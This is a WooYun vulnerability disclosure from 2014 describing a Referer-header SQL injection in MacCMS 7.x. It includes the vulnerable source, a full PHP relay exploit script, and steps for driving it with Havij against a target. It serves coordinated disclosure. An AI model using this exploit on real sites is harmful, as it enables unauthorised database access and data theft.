当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-048553

漏洞标题:MacCMS 全版本通杀SQL注射(包括最新7.x)

相关厂商:maccms.com

漏洞作者: lxj616

提交时间:2014-01-13 12:17

修复时间:2014-04-13 12:18

公开时间:2014-04-13 12:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-13: 细节已通知厂商并且等待厂商处理中
2014-01-13: 厂商已经确认,细节仅向厂商公开
2014-01-16: 细节向第三方安全合作伙伴开放
2014-03-09: 细节向核心白帽子及相关领域专家公开
2014-03-19: 细节向普通白帽子公开
2014-03-29: 细节向实习白帽子公开
2014-04-13: 细节向公众公开

简要描述:

之前我发了个6.x的注射,没人认领,因此这次想找cncert了
本次针对官网最新7.7版本的maccms测试,和之前的6.x注射有一些差异(重构了代码,而且用了360给的防护脚本)
结合之前无人认领的旧版注射,可以达到全版本注射
危害不言而喻了吧

详细说明:

/user/index.php line:615

function tg()   //推广功能,吐槽一下之前6.x版本用的英文popularize,这就变拼音了
{
global $db;
$userid = be("get","uid"); $userid=chkSql($userid,true); //完全不可控

if (!chkGlobalCache("tjlastdate")){ setGlobalCache ("tjlastdate", date('Y-m-d'),0); }
if (isNum($userid)){
$ip = getIP(); //我本以为用到了360的过滤脚本
$ly= getReferer(); //我本以为用到了360的过滤脚本,见后面跟踪
$row = $db->getRow("select * from {pre}user where u_id=" . $userid ."");
if ($row){ //这里不要误会,不是需要你登陆后注射,而是你填一个合法的“推广者”id即可,填1绝对可行,除非整个网站没有会员
$sql="Select * From {pre}user_visit where uv_uid = " .$userid." and uv_ip ='".$ip."' and STR_TO_DATE(uv_time,'%Y-%m-%d')='".date("Y-m-d")."'"; //不在这里exploit,控制referer容易点

$row1 = $db->getRow($sql);
if (!$row1){
$db->Add ("{pre}user_visit",array("uv_uid","uv_ip","uv_ly","uv_time"), array($userid,$ip,$ly, date("Y-m-d H:i:s")));
//ly变量进入了查询,小心后面还有个date,之后构造的时候不能忘记
//和以下代码无关
$db->query ("update {pre}user set u_tj=u_tj+1,u_points=u_points+" . app_popularize . " where u_id=". $userid);
if ( strpos( ",". date('Y-m-d H:i:s',time()), getGlobalCache("tjlastdate") ) <=0 ) {
$sql="delete from {pre}user_visit whereSTR_TO_DATE(uv_time,'%Y-%m-%d')<'".date("Y-m-d")."'";
$db->query($sql);
setGlobalCache ("tjlastdate", date('Y-m-d') , 0);
}
}
unset($row1);
}
unset($row);
}
redirect ("../");
}


对比,和6.x的差异在于代码重构了,360也给了一个过滤的脚本,但是……
/inc/function.php line:248

function getReferer()
{
return $_SERVER["HTTP_REFERER"];
}


360的过滤脚本哭了,根本就没出场的镜头……
好吧,原理分析完了,证明危害继续给出poc
由于在referer里面,又需要构造一下后面的date,于是自己写php中转请求
原理是转发请求,同时方便地提供$_GET["a"]用来把注射语句合进referer
至于date 我直接就构造 now 了,见下文代码
alkaid.php

<?php
function uc_fopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE,$inject) {
$return = '';
$matches = parse_url($url);
!isset($matches['host']) && $matches['host'] = '';
!isset($matches['path']) && $matches['path'] = '';
!isset($matches['query']) && $matches['query'] = '';
!isset($matches['port']) && $matches['port'] = '';
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
if($post) {
$out = "POST $path HTTP/1.0\r\n";
$out .= "Accept: **\r\n";
//$out .= "Referer: $boardurl\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}else {
$out = "GET $path HTTP/1.0\r\n";
$out .= "Accept: */*\r\n";
$out .= "Referer: a',(select now()) and ".$inject.")#\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
if(!$fp) {
return '';//note $errstr : $errno \r\n
} else {
stream_set_blocking($fp, $block);
stream_set_timeout($fp, $timeout);
@fwrite($fp, $out);
$status = stream_get_meta_data($fp);
if(!$status['timed_out']) {
while (!feof($fp)) {
if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) {
break;
}
}
$stop = false;
while(!feof($fp) && !$stop) {
$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));
$return .= $data;
if($limit) {
$limit -= strlen($data);
$stop = $limit <= 0;
}
}
}
@fclose($fp);
return $return;
}
}
uc_fopen('http://127.0.0.1/user/?action=tg&uid=1',0,0,0,FALSE,'',15,true,$_GET["a"]);
echo 'hi';
?>


用Havij扫描

http://127.0.0.1/alkaid.php?a=1%3d1


就会把构造好的referer发送到http://127.0.0.1/user/?action=tg&uid=1上
用法:
1.把alkaid.php本地搭建起来
2.修改alkaid.php倒数几行,把http://127.0.0.1/user/?action=tg&uid=1改成对应的测试地址,uid填一个存在的用户即可,自己本身无需登录
3.havij 直射本地alkaid.php http://127.0.0.1/alkaid.php?a=1%3d1

mac.png


漏洞证明:

mac.png

修复方案:

用360的过滤脚本啊~直接就 return $_SERVER["HTTP_REFERER"];这让360情何以堪

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-01-13 19:15

厂商回复:

漏洞已经确认,现已更新最新版本程序包,加入了360防护脚本。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-01-13 20:49 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    看来社区人期望的出来了

  2. 2014-02-04 08:10 | etcat ( 普通白帽子 | Rank:149 漏洞数:22 | 0101010101001010101010101010100101010101...)

    牛逼 这个吊咋天了